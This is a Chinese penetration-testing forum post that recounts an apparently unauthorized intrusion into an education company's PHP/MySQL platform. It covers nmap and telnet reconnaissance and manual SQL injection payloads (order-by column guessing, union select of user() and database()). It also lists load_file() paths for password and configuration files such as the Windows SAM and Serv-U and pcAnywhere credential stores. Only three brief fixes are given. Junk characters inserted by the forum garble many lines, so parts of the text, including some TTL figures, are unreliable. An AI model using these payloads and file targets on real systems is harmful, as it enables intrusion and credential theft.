中国网络渗透测试联盟

标题: 记一次Linux系统PHP注入入侵检测 [打印本页]
作者: admin    时间: 2013-2-16 22:23
标题: 记一次Linux系统PHP注入入侵检测
题记：2 E# B$ H) k, I
一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
' C) Z1 R0 B4 q" {" ]/ i4 ]- s第一步：获取需要的信息
- z  X5 Y/ [7 n由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。* z* T, j8 v6 \( ?
注：以下为保护特用XXX代替敏感信息) g: e' [, ]* \% d* ^* p
顺手先PING了一下他们的域名：* C. [1 k, b  e0 L
ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）
" l- p% P0 Q- U+ N& d; m: q0 \64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms/ p" h) X4 w8 w+ A2 W
顺便了解一下TTL，学好基础知识才能一路顺风：
6 Z" V* ?9 S" f& J+ {TTL：(Time To Live ) 生存时间% M. ?) d2 I9 Z
指定数据包被路由器丢弃之前允许通过的网段数量。! _! W& v( c4 O( V$ T3 V/ _  R1 a
TTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。6 [# T3 g" U4 I) w
使用PING时涉及到的 ICMP 报文类型
! Z- s9 }9 R4 b7 t一个为ICMP请求回显（ICMP Echo Request）8 p& T( U4 b  M6 ]% x+ }8 _
一个为ICMP回显应答（ICMP Echo Reply）
2 W' R- w( b4 _TTL 字段值可以帮助我们识别操作系统类型。8 J. K; P4 _' Z
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2558 B, M# s* [: P6 A: g# X
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 648 q, y. E7 k; l! O* T
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
6 J, ^7 s3 V. O  j- `微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32$ H& t/ }0 O7 O3 s
当然，返回的TTL值是相同的
  K1 B9 C! O, h2 r但有些情况下有所特殊$ g  m5 L) E! e" N% k
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
4 l2 R. q7 ?: u  H" aFreeBSD 4.1, 4.0, 3.4;# E) @/ X4 x: J, Y7 ^" N+ x' s. \! b4 x
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
& _% ^5 ?* {1 r1 t2 |& Q* T7 p7 ZOpenBSD 2.6, 2.7,8 U' n" w$ c# Y8 \$ M
NetBSD
7 I: }1 j7 [/ m  z9 O! _HP UX 10.20
. c, I& G& d; X5 g" IICMP 回显应答的 TTL 字段值为 255
; j7 c, V* z6 {7 W, q, A  kWindows 95/98/98SE
1 P6 B8 u8 e+ x2 v$ ^* nWindows ME3 g8 [4 A4 Q- \' d. ^2 [
ICMP 回显应答的 TTL 字段值为 32
5 H) V6 X- Y" S& r! k$ l8 g) jWindows NT4 WRKS
: g6 M# W# |: [8 |; oWindows NT4 Server6 K% G/ h3 x% d$ X% b/ ~
Windows 20002 [) B! J1 j+ n+ J
Windows XP7 ~7 g* [- o& n+ F
ICMP 回显应答的 TTL 字段值为 128
$ U& ]: k9 [; f这样，我们就可以通过这种方法来辨别操作系统
' r) T. Q% b% ~& D7 s% VTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
) d' H( m' V/ ~# k4 V, ^8 `1 ^: ~用NMAP扫描一下：" v5 A3 ^" Y' A6 r) o  V
nmap -sT -O XXX.XXX.XXX.XXX/ u6 p- ~$ w' [; o
如果没有装WinPcap则会弹出提示：: Z$ s6 f: `' j: D* d3 [# c- }" F
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
4 s8 W- _/ B, q+ t8 vade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(( ~3 z' ^; X. ~/ _) Z
) mode — Nmap may not function completely5 D, T$ |8 B2 D4 b
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
% U: d0 W$ v/ [% ]% P+ Zand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win; O4 l2 C# E1 M
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an! {0 L+ Y2 V6 S6 [/ j8 G
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
& H, _; l' }0 u9 b8 fersions, you may be able to take iphlpapi.dll from another system and place it i
9 _& R" F9 X" ]: ?n your system32 dir (e.g. c:\windows\system32).
6 A6 b5 j  x: T0 F0 r, p3 yQUITTING!: m: E9 Q7 u) c3 V$ |  R
到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
1 X0 G" C" X9 H9 R$ a% y安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：' p8 j: T+ g! o$ F  ^, |9 C
Interesting ports on XXX.XXX.XXX.XXX:- P1 A, g' s" K$ ?1 u( B
Not shown: 986 closed ports
) u; T4 k# r; ?1 i  J. a% ~* v7 pPORT     STATE    SERVICE
! j. K" J/ X0 B5 O; @; i21/tcp   open     ftp2 u4 ?+ ^9 y) M  X& V
22/tcp   open     ssh! m3 l( k# D3 g, ^  U6 [* ^/ T
23/tcp   open     telnet. A1 p9 ]% S5 {+ q8 [+ {
80/tcp   open     http. `# n' {5 ^6 p; d* q/ F
111/tcp  open     rpcbind
9 R% O& v* P4 e4 M: k. B+ m135/tcp  filtered msrpc
6 G& Q' F- U) s' t2 v139/tcp  filtered netbios-ssn
6 m- d1 M/ L: X" |( X" U, g445/tcp  filtered microsoft-ds7 J3 c  I  U7 j* r" D
513/tcp  open     login
) ^3 O% A0 z; ]7 L( x514/tcp  open     shell1 g' d# g, u9 K6 \: E  H! A
593/tcp  filtered http-rpc-epmap9 O$ P9 `% g0 M. C- I$ |2 X
1720/tcp filtered H.323/Q.931) j' L  X7 d: ]1 f( B9 a6 ]
3306/tcp open     mysql) h7 f- r7 }4 p
4444/tcp filtered krb5242 w! h! g' ]- X
Device type: WAP8 g$ p4 ?/ B! e: Y& e& J4 m* W
Running: Linux 2.4.X3 i" T( |! q9 v6 q5 f5 p6 W
OS details: DD-WRT (Linux 2.4.35s), Q+ h. m- P& C( D( f& }
Network Distance: 13 hops# E8 Y# P9 _1 P" _$ z. q2 K
看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：
. i7 J1 ?  v: r( b' Mlogin as:. g4 a6 V5 Y* ^; w0 d2 a" Z
Telnet23端口也是开着的，用telnet 命令链接一下：
/ D7 Z: |% X& r0 I8 Stelnet XXX.XXX.XXX.XXX
/ r' z+ T- {1 W9 Y0 }1 C! R9 `提示：1 v! w: M- O) M
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
# u7 d0 _) q. ?* h1 E% h: u( mKernel 2.6.18-92.el5PAE on an i686
% M, `# V4 W5 K' ^3 K, W( klogin:
& y' b" O: C' |; E- T/ V获取HTTP头信息：4 M( K4 Y2 K+ t' `( I7 h
在本地执行如下PHP代码+ {5 l: Z& s8 D
<?php6 @9 E- Q& m- C  z5 k8 j) G
$url = ‘XXX.XXX.XXX.XXX’;
- A, Z0 A$ m  g" {print_r(get_headers($url));
) O7 g2 O0 {0 T, mprint_r(get_headers($url, 1));6 Q3 d: b; \3 ]
?>$ f4 {3 k) t1 ], ~8 O5 @* @  |7 M
将以上代码保存为PHP文件，执行：5 D) W' m* @& Z1 g. i5 L
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )3 ^' Z6 K0 o0 H# ]. p* I+ w
现在可以得出结论：
- T6 s3 v- h8 m" W7 ?% H& O$ o系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)
3 |( L( I' A1 N# l5 b7 S内核版本：Kernel 2.6.18-92.el5PAE on an i686
' t2 q2 U( M0 O9 ZWEB服务器版本：nginx/0.7.613 a$ o- D( G2 k$ p) q& x
第二步，开始测试寻找漏洞
" I* J8 b; k) F# ?分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。' N* b3 e" W* L
1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的
3 W! I! i  X$ X/ h$ @2、测试方法：在地址后加 and 1=1 和 and 1=2 测试
+ f: i5 M5 _* s* c. ^http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常* x+ ?' }- `4 Y% _
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
) _' i; b5 F: W* x' I恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续
% N' ]/ Y# b& x; @; Y. Q/ E3、手工注入：, T$ v6 d" x7 x
注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
7 }% z5 [. |& |7 F5 O" B6 C: n3.1 猜测当前表字段数5 o- ]0 x/ Y+ r
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
( j0 F8 a, o; V# X7 w' L# ^此处猜测有个简单的算法，都是有技巧的吗，呵呵
8 C7 v9 Z: g8 v( @5 t算法简单如下：
% E5 m1 h7 m1 g$ q第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；
  ]2 B; L) U5 b/ e- X: ~第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；& D- a6 |# ^/ [! Z
需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。
7 |) w6 j% S7 F8 o( ~2 }' [以此来判断，是否过界，配合取中算法猜出字段数。4 }7 W5 ~* I+ E! n2 ]1 T
举例：  X2 Y7 z+ U! R/ a6 `
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常. K' {* d5 u5 R- t. j* p
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误0 n" q# g5 e. z* n  e( x, A+ d% N
此时3则为我们要找的字段数。
, \4 y# K0 W% a. \- P3 P3.2 配合union联合查询字段在页面所位置
( z8 @! A& o9 e/ o" z' m我们已经知道了字段数为3，此时则可以做如下操作：
% |# b2 U, D" }http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3( i& J. ~) V( }) j8 W0 T" _; e% Q
# Q  |3 P$ E+ i; X) D5 m! ?
这样就可以测试到哪些字段在页面上有所显示了，如图：; M4 A1 W( j; Y

5 u# q2 N6 C6 q( S3 e$ S3 Y3.3 查敏感信息. p* k$ n! i; I6 C2 w$ [
这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。! W/ f, W# u6 x9 ^: C4 T+ e
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()' D9 M+ p- N0 [7 x
3.3.1 先查数据库用户、数据库名，以备后用，如图：* [, B7 n% v% ?* Y

0 w! G. A  }8 |' R4 W8 O3 i+ }得到数据库用户为root、数据库名为DBxx；+ N1 O1 ]0 _( D4 a6 d; e
3.3.2 查配置文件
8 L( r) B, ~& g# Y8 H/ r查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。# V* D$ T0 d4 x' o9 u2 d
查看文件有一定的条件限制：; Y5 j. J2 g$ a. I. I+ T
欲读取文件必须在服务器上6 h' t* J. S/ q& u
必须指定文件完整的路径6 G( e6 e) n2 A0 A
必须有权限读取并且文件必须完全可读3 [: b1 @9 I7 ]
欲读取文件必须小于 max_allowed_packet
; R' N$ L. W" k( j# _: W9 _' mMYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
) I8 i" z& N% |7 g! j( i9 Y/ |常用的一些：3 Q- f; ]& t$ J6 @' c+ ^& }
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件) t4 I8 t/ E; n0 F' C% V  i& b. F8 A/ O' q7 L
/usr/local/apache2/conf/httpd.conf
1 o5 F+ _, Y% `  i/ M/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置: E0 v2 J" j$ K3 Q$ c
/usr/local/app/php5/lib/php.ini //PHP相关设置# K3 O! r) p- B- S6 J, d  Z
/etc/sysconfig/iptables //从中得到防火墙规则策略8 ^7 p5 R1 }6 I7 P: C& A
/etc/httpd/conf/httpd.conf // apache配置文件
% L3 B7 j/ C1 Q/etc/rsyncd.conf //同步程序配置文件' Q( f+ q' o6 K
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
$ ]; V; j3 \0 K# G( b/etc/my.cnf //mysql的配置文件) r5 F; d1 \- Q. }5 _
/etc/redhat-release //系统版本+ s7 q/ [4 p1 Q. t- }% s" H
/etc/issue6 w+ N+ {- X/ Z
/etc/issue.net- o2 A' p( U+ c/ q% ~1 a
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
$ D% L0 u+ H/ H) Mc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码# b5 |6 p! V: X; h* W
c:\Program Files\Serv-U\ServUDaemon.ini, O) q. ]4 `/ |5 R3 A5 J. q( _
c:\windows\my.ini //MYSQL配置文件
4 m' X1 E$ i, m, H( E/ f& ^c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件0 m8 ]8 }3 r+ G$ D( b
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
' ?1 ^6 S* {9 i. m, d/ lc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
; w! z/ }( ?: q, t8 g& [c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此1 E- A7 E. b% P8 j, |% m
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
& |! }' O. f" L3 u! q2 S, ^: b/ CC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件! L2 e" W/ M, g% c3 q7 k$ w* P& {
//存储了pcAnywhere的登陆密码) {- _! s4 ?) @: v* u, e
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。, U8 h) ?/ d; H2 M
这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
" R. J4 Z6 |9 M3 t最后：防范措施" \7 u& V0 k+ i+ G8 W
1、修复PHP注入漏洞；
; {, G" ^" ]4 o7 n# a$ {( Q2、Mysql使用普通权限的用户；6 T" Q" P  f. H9 L) p1 c
3、升级linux内核至最新版本；



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2